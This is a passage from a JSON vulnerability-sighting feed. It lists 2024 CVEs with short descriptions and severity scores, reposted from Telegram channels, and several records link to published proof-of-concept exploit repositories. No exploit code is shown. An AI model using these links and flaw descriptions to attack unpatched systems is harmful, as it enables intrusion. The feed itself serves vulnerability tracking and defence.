\ud83d\udd39", "creation_timestamp": "2024-10-28T13:38:57.000000Z"}, {"uuid": "8e89f101-2f34-4f8a-898d-3250b14c026e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50487", "type": "seen", "source": "https://t.me/cvedetector/9097", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50487 - MaanTheme MaanStore API Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50487 \nPublished : Oct. 28, 2024, 12:15 p.m. | 19\u00a0minutes ago \nDescription : Authentication Bypass Using an Alternate Path or Channel vulnerability in MaanTheme MaanStore API allows Authentication Bypass.This issue affects MaanStore API: from n/a through 1.0.1. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T13:38:57.000000Z"}, {"uuid": "8768b993-5ca3-40a1-b190-796e7af42957", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50486", "type": "seen", "source": "https://t.me/cvedetector/9096", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50486 - Acnoo Flutter API Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-50486 \nPublished : Oct. 28, 2024, 12:15 p.m. | 19\u00a0minutes ago \nDescription : Authentication Bypass Using an Alternate Path or Channel vulnerability in Acnoo Acnoo Flutter API allows Authentication Bypass.This issue affects Acnoo Flutter API: from n/a through 1.0.5. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T13:38:56.000000Z"}, {"uuid": "7856dc96-3945-4bf4-9842-00352a3e3bf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50477", "type": "seen", "source": "https://t.me/cvedetector/9095", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50477 - Stacks Mobile App Builder Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-50477 \nPublished : Oct. 28, 2024, 12:15 p.m. | 19\u00a0minutes ago \nDescription : Authentication Bypass Using an Alternate Path or Channel vulnerability in Stacks Stacks Mobile App Builder stacks-mobile-app-builder allows Authentication Bypass.This issue affects Stacks Mobile App Builder: from n/a through 5.2.3. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T13:38:55.000000Z"}, {"uuid": "3e0b1923-291d-4a9d-b925-2a4954ab8c8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50498", "type": "seen", "source": "https://t.me/cvedetector/9094", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50498 - LUBUS WP Query Console Code Injection\", \n  \"Content\": \"CVE ID : CVE-2024-50498 \nPublished : Oct. 28, 2024, 12:15 p.m. | 19\u00a0minutes ago \nDescription : Improper Control of Generation of Code ('Code Injection') vulnerability in LUBUS WP Query Console allows Code Injection.This issue affects WP Query Console: from n/a through 1.0. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T13:38:54.000000Z"}, {"uuid": "6df4e605-fe0d-4279-9437-624ec68c65ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50307", "type": "seen", "source": "https://t.me/cvedetector/9091", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50307 - Chatwork Desktop Application (Windows) - Arbitrary File Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50307 \nPublished : Oct. 28, 2024, 5:15 a.m. | 33\u00a0minutes ago \nDescription : Use of potentially dangerous function issue exists in Chatwork Desktop Application (Windows) versions prior to 2.9.2. If a user clicks a specially crafted link in the application, an arbitrary file may be downloaded from an external website and executed. As a result, arbitrary code may be executed on the device that runs Chatwork Desktop Application (Windows). \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T06:57:34.000000Z"}, {"uuid": "e4f587e3-33cd-4cc8-b975-3fc8ade8d9af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50616", "type": "seen", "source": "https://t.me/cvedetector/9075", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50616 - Ironman PowerShell Universal Privilege Escalation Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-50616 \nPublished : Oct. 27, 2024, 10:15 p.m. | 37\u00a0minutes ago \nDescription : Ironman PowerShell Universal 5.x before 5.0.12 allows an authenticated attacker to elevate their privileges and view job information. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T00:16:08.000000Z"}, {"uuid": "53e6206c-0da2-4711-b183-22aab16d922c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50610", "type": "seen", "source": "https://t.me/cvedetector/9070", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50610 - GSL Siman Integer Signedness Error\", \n  \"Content\": \"CVE ID : CVE-2024-50610 \nPublished : Oct. 27, 2024, 10:15 p.m. | 37\u00a0minutes ago \nDescription : GSL (GNU Scientific Library) through 2.8 has an integer signedness error in gsl_siman_solve_many in siman/siman.c. When params.n_tries is negative, incorrect memory allocation occurs. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T00:16:01.000000Z"}, {"uuid": "bd996b70-4856-4806-9f2d-1f2b7f3c19c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50611", "type": "seen", "source": "https://t.me/cvedetector/9069", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50611 - CycloneDX cdxgen Untrusted Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-50611 \nPublished : Oct. 27, 2024, 10:15 p.m. | 37\u00a0minutes ago \nDescription : CycloneDX cdxgen through 10.10.7, when run against an untrusted codebase, may execute code contained within build-related files such as build.gradle.kts, a similar issue to CVE-2022-24441. cdxgen is used by, for example, OWASP dep-scan. NOTE: this has been characterized as a design limitation, rather than an implementation mistake. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-28T00:16:00.000000Z"}, {"uuid": "761ff4ac-7557-49eb-8ad4-73cd88ab0239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50602", "type": "seen", "source": "https://t.me/cvedetector/9049", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50602 - Apache Expat NULL Pointer Dereference Crash\", \n  \"Content\": \"CVE ID : CVE-2024-50602 \nPublished : Oct. 27, 2024, 5:15 a.m. | 17\u00a0minutes ago \nDescription : An issue was discovered in libexpat before 2.6.4. There is a crash within the XML_ResumeParser function because XML_StopParser can stop/suspend an unstarted parser. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-27T06:42:17.000000Z"}, {"uuid": "3c0443ff-5580-496f-bdb3-d51e22a90f20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50583", "type": "seen", "source": "https://t.me/cvedetector/8890", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50583 - Whale Browser DLL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50583 \nPublished : Oct. 25, 2024, 7:15 a.m. | 39\u00a0minutes ago \nDescription : Whale browser Installer before 3.1.0.0 allows an attacker to execute a malicious DLL in the user environment due to improper permission settings. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-25T10:23:23.000000Z"}, {"uuid": "b49a82ee-dc21-42a5-823d-caee5dcc6648", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50986", "type": "published-proof-of-concept", "source": "https://t.me/TheDarkWebInformer/6954", "content": "\ud83d\udea8CVE-2024-50986: DLL Hijacking Exploit for Clementine\n\nhttps://darkwebinformer.com/cve-20224-50986-dll-hijacking-exploit-for-clementine/", "creation_timestamp": "2024-11-13T19:01:51.000000Z"}, {"uuid": "b61fa6b1-67aa-434c-b36a-d5fc572fdb7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5024", "type": "seen", "source": "https://t.me/cvedetector/4497", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5024 - Memberpress WordPress Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5024 \nPublished : Aug. 30, 2024, 4:15 a.m. | 38\u00a0minutes ago \nDescription : The Memberpress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'mepr_screenname' and 'mepr_key' parameter in all versions up to, and including, 1.11.29 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-30T07:17:29.000000Z"}, {"uuid": "47250b15-12f9-461c-b1f4-aefb08fe2b74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5061", "type": "seen", "source": "https://t.me/cvedetector/4496", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5061 - Enfold - Stored Cross-Site Scripting Vulnerability in WordPress Theme\", \n  \"Content\": \"CVE ID : CVE-2024-5061 \nPublished : Aug. 30, 2024, 4:15 a.m. | 38\u00a0minutes ago \nDescription : The Enfold - Responsive Multi-Purpose Theme theme for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018wrapper_class\u2019 and 'class' parameters in all versions up to, and including, 6.0.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-30T07:17:28.000000Z"}, {"uuid": "436de748-b3f8-43b7-8005-21121e3197b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5057", "type": "seen", "source": "https://t.me/cvedetector/4398", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5057 - Easy Digital Downloads SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5057 \nPublished : Aug. 29, 2024, 2:15 p.m. | 46\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Easy Digital Downloads allows SQL Injection.This issue affects Easy Digital Downloads: from n/a through 3.2.12. \nSeverity: 9.3 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-29T17:03:21.000000Z"}, {"uuid": "f7401e61-0b2e-47fa-9e59-80473ae34e91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5053", "type": "seen", "source": "https://t.me/cvedetector/4582", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5053 - Fluent Forms Mailchimp API Key Update Weakness\", \n  \"Content\": \"CVE ID : CVE-2024-5053 \nPublished : Sept. 1, 2024, 11:15 a.m. | 15\u00a0minutes ago \nDescription : The Contact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder plugin for WordPress is vulnerable to unauthorized Malichimp API key update due to an insufficient capability check on the verifyRequest function in all versions up to, and including, 5.1.18. This makes it possible for Form Managers with a Subscriber-level access and above to modify the Mailchimp API key used for integration. At the same time, missing Mailchimp API key validation allows the redirect of the integration requests to the attacker-controlled server. \nSeverity: 4.2 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-01T13:37:15.000000Z"}, {"uuid": "c0d6b236-6553-4816-bd7e-09c14f7a8ee6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50600", "type": "seen", "source": "Telegram/7fcdA0qpzXI9GZZJMekSg0hNiWRNp_qUgbT6MSpv3OJKiFND", "content": "", "creation_timestamp": "2025-03-08T04:34:57.000000Z"}, {"uuid": "dc241ccf-b390-4095-bd67-22aee33b4c52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50609", "type": "seen", "source": "https://t.me/CyberBulletin/2373", "content": "\u26a1Fluent Bit Vulnerabilities (CVE-2024-50608 & CVE-2024-50609) Could Disrupt Millions of Enterprise Systems.\n\n#CyberBulletin", "creation_timestamp": "2025-02-21T12:00:28.000000Z"}, {"uuid": "6f7db240-08c2-497f-bb3d-ee5443c52ddd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50608", "type": "seen", "source": "https://t.me/CyberBulletin/2373", "content": "\u26a1Fluent Bit Vulnerabilities (CVE-2024-50608 & CVE-2024-50609) Could Disrupt Millions of Enterprise Systems.\n\n#CyberBulletin", "creation_timestamp": "2025-02-21T12:00:28.000000Z"}, {"uuid": "99dc71f3-265c-43c8-b372-7210e392482a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5067", "type": "seen", "source": "https://t.me/cvedetector/1613", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5067 - GitLab EE Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5067 \nPublished : July 24, 2024, 11:15 p.m. | 34\u00a0minutes ago \nDescription : An issue was discovered in GitLab EE affecting all versions starting from 16.11 prior to 17.0.5, starting from 17.1 prior to 17.1.3, and starting from 17.2 prior to 17.2.1 where certain project-level analytics settings could be leaked in DOM to group members with Developer or higher roles. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-25T01:51:13.000000Z"}, {"uuid": "0022a1b1-a6c9-46e9-ba60-32c51bd4f139", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5004", "type": "seen", "source": "https://t.me/cvedetector/1381", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5004 - Apache Struts - Stored Cross-Site Scripting CVE\", \n  \"Content\": \"CVE ID : CVE-2024-5004 \nPublished : July 22, 2024, 6:15 a.m. | 43\u00a0minutes ago \nDescription : The CM Popup Plugin for WordPress  WordPress plugin before 1.6.6 does not sanitise and escape some of the campaign settings, which could allow high privilege users such as contributor to perform Stored Cross-Site Scripting attacks \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-22T09:26:48.000000Z"}, {"uuid": "8387d50c-68c4-47bf-9174-c24c9b9906dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://t.me/CyberBulletin/2168", "content": "\u26a1CVE-2024-50050: Critical Security Flaw in Meta\u2019s Llama-Stack Framework.\n\n#CyberBulletin", "creation_timestamp": "2025-01-26T09:35:25.000000Z"}, {"uuid": "98486457-4bd8-4766-83fc-81154b892437", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5080", "type": "seen", "source": "https://t.me/cvedetector/805", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5080 - The wp-eMember WordPress plugin before 10.6.6 does\", \n  \"Content\": \"CVE ID : CVE-2024-5080 \nPublished : July 13, 2024, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The wp-eMember WordPress plugin before 10.6.6 does not validate files to be uploaded, which could allow admins to upload arbitrary files such as PHP on the server \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-13T08:49:43.000000Z"}, {"uuid": "4a901176-d3ed-4535-8161-13caddbec758", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5077", "type": "seen", "source": "https://t.me/cvedetector/802", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5077 - The wp-eMember WordPress plugin before 10.6.6 does\", \n  \"Content\": \"CVE ID : CVE-2024-5077 \nPublished : July 13, 2024, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The wp-eMember WordPress plugin before 10.6.6 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-13T08:49:41.000000Z"}, {"uuid": "19536428-28a0-4424-be7c-a131e0fa1d34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50050", "type": "published-proof-of-concept", "source": "https://t.me/HackerArsenal/789", "content": "#exploit\n1. CVE-2024-43451:\nWindows NTLMv2 0-day\nhttps://github.com/RonF98/CVE-2024-43451-POC\n\n2. CVE-2024-50050:\nVulnerability in meta-llama/llama-stack\nhttps://www.oligo.security/blog/cve-2024-50050-critical-vulnerability-in-meta-llama-llama-stack", "creation_timestamp": "2025-01-25T01:48:26.000000Z"}, {"uuid": "3e240d4c-4c7d-4b32-9670-5e283f95d737", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50550", "type": "seen", "source": "Telegram/KAyxnLwub2S5esNe6eQov9MLPOJuyw2DYTEnDXQvgPxAOw", "content": "", "creation_timestamp": "2024-10-31T12:36:34.000000Z"}, {"uuid": "4cc9f907-e845-4e71-a03a-f52ec9d64cf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/7202", "content": "Hackers Use CVE-2024-50603 to Deploy Backdoor on Aviatrix Controllers \u2013 hackread.com\n\nWed, 15 Jan 2025 17:29:08", "creation_timestamp": "2025-01-15T13:03:23.000000Z"}, {"uuid": "e6b20fa5-55ae-4dc1-b824-01024c4d6d2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/ZeroEthical_Course/2404", "content": "\ud83d\ude08CVE-2024-50379 Apache Tomcat\n*\nExiste un problema con una condici\u00f3n de carrera de verificaci\u00f3n de tiempo de uso ( TOCTOU ) que puede conducir a la ejecuci\u00f3n remota de c\u00f3digo ( RCE ), especialmente en sistemas de archivos que no distinguen entre may\u00fasculas y min\u00fasculas, como Windows .\n\nExplotaci\u00f3n y POC", "creation_timestamp": "2024-12-26T02:02:14.000000Z"}, {"uuid": "59846575-35f8-4d40-aa01-4e966a8330b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/ZeroEthical_Course/2391", "content": "#exploit\n1. CVE-2024-50379:\nApache Tomcat RCE\nhttps://github.com/ph0ebus/Tomcat-CVE-2024-50379-Poc\n\n2. CVE-2024-48990:\nQualys needrestart <3.8 - Uncontrolled Search Path Element\nhttps://github.com/makuga01/CVE-2024-48990-PoC", "creation_timestamp": "2024-12-25T20:08:04.000000Z"}, {"uuid": "3b43edef-61cc-45f0-8c40-1ce60bfe79f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5009", "type": "published-proof-of-concept", "source": "https://t.me/TheDarkWebInformer/1661", "content": "\ud83d\udea8PoC RELEASED\ud83d\udea8PoC for Progress WhatsUp Gold SetAdminPassword Privilege Escalation (CVE-2024-5009)\n\nhttps://x.com/DarkWebInformer/status/1810722112476434651\n\nhttps://github.com/sinsinology/CVE-2024-5009", "creation_timestamp": "2024-07-09T19:07:26.000000Z"}, {"uuid": "bb6c1565-0f26-4c11-b04c-e30f96179ae7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "published-proof-of-concept", "source": "https://t.me/TheDarkWebInformer/10179", "content": "\ud83d\udea8\ud83d\udea8\ud83d\udea8Critical Vulnerability Alert: CVE-2024-50603 Critical Command Injection Vulnerability in Aviatrix Controller\n\nhttps://darkwebinformer.com/critical-vulnerability-alert-cve-2024-50603-critical-command-injection-vulnerability-in-aviatrix-controller/", "creation_timestamp": "2025-01-15T16:19:03.000000Z"}, {"uuid": "0d46fc00-0dfa-43f6-8c0f-62e221acf160", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "published-proof-of-concept", "source": "https://t.me/TheDarkWebInformer/8775", "content": "\ud83d\udea8Cleo Unrestricted File Upload and Download PoC (CVE-2024-50623)\n\nhttps://darkwebinformer.com/cleo-unrestricted-file-upload-and-download-poc-cve-2024-50623/", "creation_timestamp": "2024-12-12T17:02:39.000000Z"}, {"uuid": "8ed17447-36b4-4d13-8bc6-ef5314c87334", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5009", "type": "published-proof-of-concept", "source": "Telegram/E0K4SacbBo7vvN_grN7HUJjKIuPNHN1egbc3qXVTBTE2Hg", "content": "", "creation_timestamp": "2024-07-11T07:55:58.000000Z"}, {"uuid": "245862a9-b24b-4b9c-ab20-dcfd75f0040b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5035", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/1020", "content": "\u200aCVE-2024-5035 (CVSS 10) in TP-Link Archer C5400X Routers Exposes Users to Remote Hacking\n\nhttps://securityonline.info/cve-2024-5035-cvss-10-in-tp-link-archer-c5400x-routers-exposes-users-to-remote-hacking/", "creation_timestamp": "2024-05-28T19:00:25.000000Z"}, {"uuid": "52fb4e63-1a63-402a-a6fa-0f3efa349789", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5035", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/1019", "content": "\u200aCVE-2024-5035 (CVSS 10) in TP-Link Archer C5400X Routers Exposes Users to Remote Hacking\n\nhttps://securityonline.info/cve-2024-5035-cvss-10-in-tp-link-archer-c5400x-routers-exposes-users-to-remote-hacking/", "creation_timestamp": "2024-05-28T18:50:02.000000Z"}, {"uuid": "e9b70222-eb88-4d6b-82db-09efb9b94ec7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50066", "type": "seen", "source": "Telegram/m-Xj-3GWHT1q4KLJ7889XAI4ZWw-pLDgVrZBokC5ik3llZa9", "content": "", "creation_timestamp": "2025-03-08T04:35:51.000000Z"}, {"uuid": "4d22af52-fa52-4b16-af2c-ee74d14f7e73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5069", "type": "seen", "source": "Telegram/Ap6CdVrTO5c5fDKGOQKSf9H1zJYnC-JZJJpme98ZCqt8QVJy", "content": "", "creation_timestamp": "2025-02-14T10:03:08.000000Z"}, {"uuid": "ceaeef94-036a-4513-bddc-f52564e4470a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50563", "type": "seen", "source": "Telegram/IiN71a7HiZAcWBjzyowimzOyUrV6T61OsMqDe-4tmixLVgkr", "content": "", "creation_timestamp": "2025-02-06T02:40:20.000000Z"}, {"uuid": 